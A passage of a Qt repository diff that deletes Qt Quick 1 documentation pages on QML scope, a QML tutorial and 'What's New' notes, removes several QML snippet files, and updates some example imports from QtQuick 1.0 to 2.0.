mirrored. -The painting of these icons can be mirrored with a dedicated \c mirror property introduced in Qt Quick 1.1: - -\snippet doc/src/snippets/declarative/righttoleft.qml 5 - -\section1 Default layout direction - -The \l {QML:Qt::application}{Qt.application.layoutDirection} property can be used to query the active layout direction of the -application. It is based on QApplication::layoutDirection(), which most commonly determines the layout -direction from the active language translation file. - -To define the layout direction for a particular locale, declare the dedicated string literal -\c QT_LAYOUT_DIRECTION in context \c QApplication as either "LTR" or "RTL". - -You can do this by first introducing this line - -\code -QT_TRANSLATE_NOOP("QApplication", "QT_LAYOUT_DIRECTION"); -\endcode - -somewhere in your QML source code and calling \c lupdate to generate the translation source file. - -\code -lupdate myapp.qml -ts myapp.ts -\endcode - -This will append the following declaration to the translation file, where you can fill in either "LTR" or -"RTL" as the translation for the locale. - -\code - - QApplication - - - QT_LAYOUT_DIRECTION - RTL - - -\endcode - -You can test that the layout direction works as expected by running your Qt Quick application with -the compiled translation file: - -\code -qmlviewer myapp.qml -translation myapp.qm -\endcode - -You can test your application in right-to-left layout direction simply by executing qmlviewer with a -command-line parameter "-reverse": - -\code -qmlviewer myapp.qml -reverse -\endcode - -The layout direction can also be set from C++ by calling the static function \l QApplication::setLayoutDirection(): - -\code -QApplication app(argc, argv); -app.setLayoutDirection(Qt::RightToLeft); -\endcode - -*/ diff --git a/doc/src/qtquick1/scope.qdoc b/doc/src/qtquick1/scope.qdoc deleted file mode 100644 index e6b2f6c452..0000000000 --- a/doc/src/qtquick1/scope.qdoc +++ /dev/null @@ -1,305 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qdeclarativescope.html -\inqmlmodule QtQuick 1 -\title QML Scope - -\tableofcontents - -QML property bindings, inline functions and imported JavaScript files all -run in a JavaScript scope. Scope controls which variables an expression can -access, and which variable takes precedence when two or more names conflict. - -As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit -more naturally with the QML language extensions. - -\section1 JavaScript Scope - -QML's scope extensions do not interfere with JavaScript's natural scoping. -JavaScript programmers can reuse their existing knowledge when programming -functions, property bindings or imported JavaScript files in QML. - -In the following example, the \c {addConstant()} method will add 13 to the -parameter passed just as the programmer would expect irrespective of the -value of the QML object's \c a and \c b properties. - -\code -QtObject { - property int a: 3 - property int b: 9 - - function addConstant(b) { - var a = 13; - return b + a; - } -} -\endcode - -That QML respects JavaScript's normal scoping rules even applies in bindings. -This totally evil, abomination of a binding will assign 12 to the QML object's -\c a property. - -\code -QtObject { - property int a - - a: { var a = 12; a; } -} -\endcode - -Every JavaScript expression, function or file in QML has its own unique -variable object. Local variables declared in one will never conflict -with local variables declared in another. - -\section1 Element Names and Imported JavaScript Files - -\l {QML Document}s include import statements that define the element names -and JavaScript files visible to the document. In addition to their use in the -QML declaration itself, element names are used by JavaScript code when accessing -\l {Attached Properties} and enumeration values. - -The effect of an import applies to every property binding, and JavaScript -function in the QML document, even those in nested inline components. The -following example shows a simple QML file that accesses some enumeration -values and calls an imported JavaScript function. - -\code -import QtQuick 1.0 -import "code.js" as Code - -ListView { - snapMode: ListView.SnapToItem - - delegate: Component { - Text { - elide: Text.ElideMiddle - text: "A really, really long string that will require eliding." - color: Code.defaultColor() - } - } -} -\endcode - -\section1 Binding Scope Object - -Property bindings are the most common use of JavaScript in QML. Property -bindings associate the result of a JavaScript expression with a property of an -object. The object to which the bound property belongs is known as the binding's -scope object. In this QML simple declaration the \l Item object is the -binding's scope object. - -\code -Item { - anchors.left: parent.left -} -\endcode - -Bindings have access to the scope object's properties without qualification. -In the previous example, the binding accesses the \l Item's \c parent property -directly, without needing any form of object prefix. QML introduces a more -structured, object-oriented approach to JavaScript, and consequently does not -require the use of the JavaScript \c this property. - -Care must be used when accessing \l {Attached Properties} from bindings due -to their interaction with the scope object. Conceptually attached properties -exist on \e all objects, even if they only have an effect on a subset of those. -Consequently unqualified attached property reads will always resolve to an -attached property on the scope object, which is not always what the programmer -intended. - -For example, the \l PathView element attaches interpolated value properties to -its delegates depending on their position in the path. As PathView only -meaningfully attaches these properties to the root element in the delegate, any -sub-element that accesses them must explicitly qualify the root object, as shown -below. - -\code -PathView { - delegate: Component { - Rectangle { - id: root - Image { - scale: root.PathView.scale - } - } - } -} -\endcode - -If the \l Image element omitted the \c root prefix, it would inadvertently access -the unset \c {PathView.scale} attached property on itself. - -\section1 Component Scope - -Each QML component in a QML document defines a logical scope. Each document -has at least one root component, but can also have other inline sub-components. -The component scope is the union of the object ids within the component and the -component's root element's properties. - -\code -Item { - property string title - - Text { - id: titleElement - text: "" + title + "" - font.pixelSize: 22 - anchors.top: parent.top - } - - Text { - text: titleElement.text - font.pixelSize: 18 - anchors.bottom: parent.bottom - } -} -\endcode - -The example above shows a simple QML component that displays a rich text title -string at the top, and a smaller copy of the same text at the bottom. The first -\c Text element directly accesses the component's \c title property when -forming the text to display. That the root element's properties are directly -accessible makes it trivial to distribute data throughout the component. - -The second \c Text element uses an id to access the first's text directly. IDs -are specified explicitly by the QML programmer so they always take precedence -over other property names (except for those in the \l {JavaScript Scope}). For -example, in the unlikely event that the binding's \l {Binding Scope Object}{scope -object} had a \c titleElement property in the previous example, the \c titleElement -id would still take precedence. - -\section1 Component Instance Hierarchy - -In QML, component instances connect their component scopes together to form a -scope hierarchy. Component instances can directly access the component scopes of -their ancestors. - -The easiest way to demonstrate this is with inline sub-components whose component -scopes are implicitly scoped as children of the outer component. - -\code -Item { - property color defaultColor: "blue" - - ListView { - delegate: Component { - Rectangle { - color: defaultColor - } - } - } -} -\endcode - -The component instance hierarchy allows instances of the delegate component -to access the \c defaultColor property of the \c Item element. Of course, -had the delegate component had a property called \c defaultColor that would -have taken precedence. - -The component instance scope hierarchy extends to out-of-line components, too. -In the following example, the \c TitlePage.qml component creates two -\c TitleText instances. Even though the \c TitleText element is in a separate -file, it still has access to the \c title property when it is used from within -the \c TitlePage. QML is a dynamically scoped language - depending on where it -is used, the \c title property may resolve differently. - -\code -// TitlePage.qml -import QtQuick 1.0 -Item { - property string title - - TitleText { - size: 22 - anchors.top: parent.top - } - - TitleText { - size: 18 - anchors.bottom: parent.bottom - } -} - -// TitleText.qml -import QtQuick 1.0 -Text { - property int size - text: "" + title + "" - font.pixelSize: size -} -\endcode - -Dynamic scoping is very powerful, but it must be used cautiously to prevent -the behavior of QML code from becoming difficult to predict. In general it -should only be used in cases where the two components are already tightly -coupled in another way. When building reusable components, it is preferable -to use property interfaces, like this: - -\code -// TitlePage.qml -import QtQuick 1.0 -Item { - id: root - property string title - - TitleText { - title: root.title - size: 22 - anchors.top: parent.top - } - - TitleText { - title: root.title - size: 18 - anchors.bottom: parent.bottom - } -} - -// TitleText.qml -import QtQuick 1.0 -Text { - property string title - property int size - - text: "" + title + "" - font.pixelSize: size -} -\endcode - -\section1 JavaScript Global Object - -In addition to all the properties that a developer would normally expect on -the JavaScript global object, QML adds some custom extensions to make UI or -QML specific tasks a little easier. These extensions are described in the -\l {QML Global Object} documentation. - -QML disallows element, id and property names that conflict with the properties -on the global object to prevent any confusion. Programmers can be confident -that \c Math.min(10, 9) will always work as expected! - -*/ diff --git a/doc/src/qtquick1/tutorial.qdoc b/doc/src/qtquick1/tutorial.qdoc deleted file mode 100644 index bea0df7ad8..0000000000 --- a/doc/src/qtquick1/tutorial.qdoc +++ /dev/null @@ -1,230 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-tutorial.html -\inqmlmodule QtQuick 1 -\title QML Tutorial -\brief An introduction to the basic concepts and features of QML. -\nextpage QML Tutorial 1 - Basic Types - -This tutorial gives an introduction to QML, the mark up language for Qt Quick. It doesn't cover everything; -the emphasis is on teaching the key principles, and features are introduced as needed. - -Through the different steps of this tutorial we will learn about QML basic types, we will create our own QML component -with properties and signals, and we will create a simple animation with the help of states and transitions. - -Chapter one starts with a minimal "Hello world" program and the following chapters introduce new concepts. - -The tutorial's source code is located in the $QTDIR/examples/declarative/tutorials/helloworld directory. - -Tutorial chapters: - -\list 1 -\o \l {QML Tutorial 1 - Basic Types}{Basic Types} -\o \l {QML Tutorial 2 - QML Components}{QML Components} -\o \l {QML Tutorial 3 - States and Transitions}{States and Transitions} -\endlist - -*/ - -/*! -\page qml-tutorial1.html -\inqmlmodule QtQuick 1 -\title QML Tutorial 1 - Basic Types -\contentspage QML Tutorial -\previouspage QML Tutorial -\nextpage QML Tutorial 2 - QML Component - -This first program is a very simple "Hello world" example that introduces some basic QML concepts. -The picture below is a screenshot of this program. - -\image declarative-tutorial1.png - -Here is the QML code for the application: - -\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 0 - -\section1 Walkthrough - -\section2 Import - -First, we need to import the types that we need for this example. Most QML files will import the built-in QML -types (like \l{Rectangle}, \l{Image}, ...) that come with Qt, using: - -\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 3 - -\section2 Rectangle element - -\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 1 - -We declare a root element of type \l{Rectangle}. It is one of the basic building blocks you can use to create an application in QML. -We give it an \c{id} to be able to refer to it later. In this case, we call it "page". -We also set the \c width, \c height and \c color properties. -The \l{Rectangle} element contains many other properties (such as \c x and \c y), but these are left at their default values. - -\section2 Text element - -\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 2 - -We add a \l Text element as a child of the root Rectangle element that displays the text 'Hello world!'. - -The \c y property is used to position the text vertically at 30 pixels from the top of its parent. - -The \c anchors.horizontalCenter property refers to the horizontal center of an element. -In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-Based Layout}). - -The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}. - - -\section2 Viewing the example - -To view what you have created, run the \l{QML Viewer} tool (located in the \c bin directory) with your filename as the first argument. -For example, to run the provided completed Tutorial 1 example from the install location, you would type: - -\code -bin/qmlviewer $QTDIR/examples/declarative/tutorials/helloworld/tutorial1.qml -\endcode -*/ - -/*! -\page qml-tutorial2.html -\inqmlmodule QtQuick 1 -\title QML Tutorial 2 - QML Components -\contentspage QML Tutorial -\previouspage QML Tutorial 1 - Basic Types -\nextpage QML Tutorial 3 - States and Transitions - -This chapter adds a color picker to change the color of the text. - -\image declarative-tutorial2.png - -Our color picker is made of six cells with different colors. -To avoid writing the same code multiple times for each cell, we create a new \c Cell component. -A component provides a way of defining a new type that we can re-use in other QML files. -A QML component is like a black-box and interacts with the outside world through properties, signals and functions and is generally -defined in its own QML file. (For more details, see \l {Defining New Components}). -The component's filename must always start with a capital letter. - -Here is the QML code for \c Cell.qml: - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 0 - -\section1 Walkthrough - -\section2 The Cell Component - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 1 - -The root element of our component is an \l Item with the \c id \e container. -An \l Item is the most basic visual element in QML and is often used as a container for other elements. - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 4 - -We declare a \c cellColor property. This property is accessible from \e outside our component, this allows us -to instantiate the cells with different colors. -This property is just an alias to an existing property - the color of the rectangle that compose the cell (see \l{Property Binding}). - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 5 - -We want our component to also have a signal that we call \e clicked with a \e cellColor parameter of type \e color. -We will use this signal to change the color of the text in the main QML file later. - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 2 - -Our cell component is basically a colored rectangle with the \c id \e rectangle. - -The \c anchors.fill property is a convenient way to set the size of an element. -In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-Based Layout}). - -\snippet examples/declarative/tutorials/helloworld/Cell.qml 3 - -In order to change the color of the text when clicking on a cell, we create a \l MouseArea element with -the same size as its parent. - -A \l MouseArea defines a signal called \e clicked. -When this signal is triggered we want to emit our own \e clicked signal with the color as parameter. - -\section2 The main QML file - -In our main QML file, we use our \c Cell component to create the color picker: - -\snippet examples/declarative/tutorials/helloworld/tutorial2.qml 0 - -We create the color picker by putting 6 cells with different colors in a grid. - -\snippet examples/declarative/tutorials/helloworld/tutorial2.qml 1 - -When the \e clicked signal of our cell is triggered, we want to set the color of the text to the \e cellColor passed as a parameter. -We can react to any signal of our component through a property of the name \e 'onSignalName' (see \l{Signal Handlers}). -*/ - -/*! -\page qml-tutorial3.html -\inqmlmodule QtQuick 1 -\title QML Tutorial 3 - States and Transitions -\contentspage QML Tutorial -\previouspage QML Tutorial 2 - QML Component - -In this chapter, we make this example a little bit more dynamic by introducing states and transitions. - -We want our text to move to the bottom of the screen, rotate and become red when clicked. - -\image declarative-tutorial3_animation.gif - -Here is the QML code: - -\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 0 - -\section1 Walkthrough - -\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 2 - -First, we create a new \e down state for our text element. -This state will be activated when the \l MouseArea is pressed, and deactivated when it is released. - -The \e down state includes a set of property changes from our implicit \e {default state} -(the items as they were initially defined in the QML). -Specifically, we set the \c y property of the text to \c 160, the rotation to \c 180 and the \c color to red. - -\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 3 - -Because we don't want the text to appear at the bottom instantly but rather move smoothly, -we add a transition between our two states. - -\c from and \c to define the states between which the transition will run. -In this case, we want a transition from the default state to our \e down state. - -Because we want the same transition to be run in reverse when changing back from the \e down state to the default state, -we set \c reversible to \c true. -This is equivalent to writing the two transitions separately. - -The \l ParallelAnimation element makes sure that the two types of animations (number and color) start at the same time. -We could also run them one after the other by using \l SequentialAnimation instead. - -For more details on states and transitions, see \l {QML States} and the \l{declarative/animation/states}{states and transitions example}. -*/ diff --git a/doc/src/qtquick1/whatsnew.qdoc b/doc/src/qtquick1/whatsnew.qdoc deleted file mode 100644 index 7b6edae858..0000000000 --- a/doc/src/qtquick1/whatsnew.qdoc +++ /dev/null @@ -1,201 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\title What's New in Qt Quick 1 -\page qtquick1-whatsnew.html -\inqmlmodule QtQuick 1 - -\section1 Qt 4.7.4 includes QtQuick 1.1 - -QtQuick 1.1 is a minor feature update. \e {import QtQuick 1.1} to use the new -features. - -\section2 PinchArea - -PinchArea provides support for the common two finger pinch gesture. - -\section2 LayoutMirroring attached property - -\l {LayoutMirroring}{Layout mirroring} is useful when you need to support both -left-to-right and right-to-left layout versions of your application that target -different language areas. - -\section2 Anchors - -Added the following property: -\list -\o \l {Item::}{anchors.mirrored} -\endlist - -\section2 Text - -Added the following properties: -\list -\o \l {Text::}{lineHeight} -\o \l {Text::}{lineHeightMode} -\o \l {Text::}{lineCount} -\o \l {Text::}{maximumLineCount} -\o \l {Text::}{truncated} -\o \l {Text::}{effectiveHorizontalAlignment} -\endlist - -horizontalAlignment now accepts Text.AlignJustify alignment mode. - -\section2 TextEdit - -Added the following properties, methods and signal handlers: -\list -\o \l {TextEdit::}{canPaste} -\o \l {TextEdit::}{lineCount} -\o \l {TextEdit::}{inputMethodComposing} -\o \l {TextEdit::}{mouseSelectionMode} -\o \l {TextEdit::}{effectiveHorizontalAlignment} -\o \l {TextEdit::}{deselect()} -\o \l {TextEdit::}{isRightToLeft()} -\o \l {TextEdit::}{moveCursorSelection()} to enable selection by word -\o \l {TextEdit::}{onLinkActivated} -\endlist - -\section2 TextInput - -Added the following properties and methods: -\list -\o \l {TextInput::}{canPaste} -\o \l {TextInput::}{inputMethodComposing} -\o \l {TextInput::}{mouseSelectionMode} -\o \l {TextInput::}{effectiveHorizontalAlignment} -\o \l {TextInput::}{deselect()} -\o \l {TextInput::}{isRightToLeft()} -\o \l {TextInput::}{moveCursorSelection()} to enable selection by word -\endlist - -\section2 Image, BorderImage and AnimatedImage - -Added the following properties: -\list -\o \l{Image::}{cache} -\o \l{Image::}{mirror} -\endlist - -\section2 Item - -Added the following properties: -\list -\o \l{Item::}{implicitWidth} and \l{Item::}{implicitHeight} -\endlist - -\section2 Flickable - -Added the following methods: -\list -\o \l{Flickable::}{resizeContent()} -\o \l{Flickable::}{returnToBounds()} -\endlist - -\section2 MouseArea - -Added the following property: -\list -\o \l{MouseArea::}{preventStealing} -\endlist - -\section2 ListView and GridView - -Added the following properties and methods: -\list -\o \l{ListView::}{layoutDirection} -\o \l{ListView::}{effectiveLayoutDirection} -\o \l{ListView::}{positionViewAtBeginning()} -\o \l{ListView::}{positionViewAtEnd()} -\endlist - -\section2 Flow, Grid and Row - -Added the following properties: -\list -\o \l{Flow::}{layoutDirection} -\o \l{Flow::}{effectiveLayoutDirection} -\endlist - -\section2 Repeater - -Added the following methods and signal handlers: -\list -\o \l{Repeater::}{onItemAdded} -\o \l{Repeater::}{onItemRemoved} -\o \l{Repeater::}{itemAt()} -\endlist - -\section2 Component - -\list -\o The \l{Component::}{createObject()} method now accepts a map of initial -property values for the created object. -\endlist - -\section2 Qt - -\list -\o Added the \l {QML:Qt::application}{Qt.application} object to hold generic -global application properties. -\endlist - -\section2 Other changes - -\list -\o Functions can be \l{Property Binding#Property Binding}{assigned to properties from JavaScript} -to create property bindings. -\o QtQuick now supports Right to Left layout in positioners, views, anchors and text elements. -\endlist - - -\section1 Qt 4.7.1 - -\section2 QtQuick namespace - -In prior Qt releases, all the Qt Quick elements were available in the \e Qt -namespace. Starting with Qt 4.7.1, the elements are also available in the -\e QtQuick namespace, which improves naming consistency, and allows the -development of Qt Quick to occur at a faster rate than Qt's usual minor release -schedule. - -The change for developers is very simple - where you previously wrote -\e {import Qt 4.7}, just replace it with \e {import QtQuick 1.0}, like this: - -\code -import QtQuick 1.0 - -Text { - text: "Welcome to QtQuick 1.0!" -} -\endcode - -\e {import Qt 4.7} continues to work so existing applications won't break even -if they aren't updated, but it is recommended that all import statements be -modified to the new form. -*/ diff --git a/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleOne.qml b/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleOne.qml index a5de7483de..cf9b3ebc5d 100644 --- a/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleOne.qml +++ b/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleOne.qml @@ -39,7 +39,7 @@ ****************************************************************************/ //![0] // exampleOne.qml -import QtQuick 1.0 +import QtQuick 2.0 import Qt.example 1.0 QtObject { diff --git a/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleThree.qml b/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleThree.qml index 01f80d2fe5..3f12458cec 100644 --- a/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleThree.qml +++ b/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleThree.qml @@ -39,7 +39,7 @@ ****************************************************************************/ //![0] // exampleThree.qml -import QtQuick 1.0 +import QtQuick 2.0 import Qt.example 1.0 import "exampleThree.js" as ExampleThreeJs diff --git a/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleTwo.qml b/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleTwo.qml index cc17f8e4d2..f322fb9ed9 100644 --- a/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleTwo.qml +++ b/doc/src/snippets/declarative/integrating-javascript/scarceresources/exampleTwo.qml @@ -39,7 +39,7 @@ ****************************************************************************/ //![0] // exampleTwo.qml -import QtQuick 1.0 +import QtQuick 2.0 import Qt.example 1.0 QtObject { diff --git a/doc/src/snippets/qtquick1/Button.qml b/doc/src/snippets/qtquick1/Button.qml deleted file mode 100644 index ef05dad53a..0000000000 --- a/doc/src/snippets/qtquick1/Button.qml +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -//! [parent begin] -Rectangle { -//! [parent begin] - -//! [property alias] -property alias buttonLabel: label.text -Text { - id: label - text: "empty label" -} - //! [property alias] - -//! [id alias] - property alias buttonImage: image - - Image {id: image} -//! [id alias] -//! [parent end] -} -//! [parent end] - -//! [document] - - diff --git a/doc/src/snippets/qtquick1/SelfDestroyingRect.qml b/doc/src/snippets/qtquick1/SelfDestroyingRect.qml deleted file mode 100644 index 6bcba63912..0000000000 --- a/doc/src/snippets/qtquick1/SelfDestroyingRect.qml +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Rectangle { - id: rect - width: 80; height: 80 - color: "red" - - NumberAnimation on opacity { - to: 0 - duration: 1000 - - onRunningChanged: { - if (!running) { - console.log("Destroying...") - rect.destroy(); - } - } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/Sprite.qml b/doc/src/snippets/qtquick1/Sprite.qml deleted file mode 100644 index 5bf0353f3a..0000000000 --- a/doc/src/snippets/qtquick1/Sprite.qml +++ /dev/null @@ -1,45 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { width: 80; height: 50; color: "red" } -//![0] diff --git a/doc/src/snippets/qtquick1/anchoranimation.qml b/doc/src/snippets/qtquick1/anchoranimation.qml deleted file mode 100644 index 772f04e2ca..0000000000 --- a/doc/src/snippets/qtquick1/anchoranimation.qml +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE 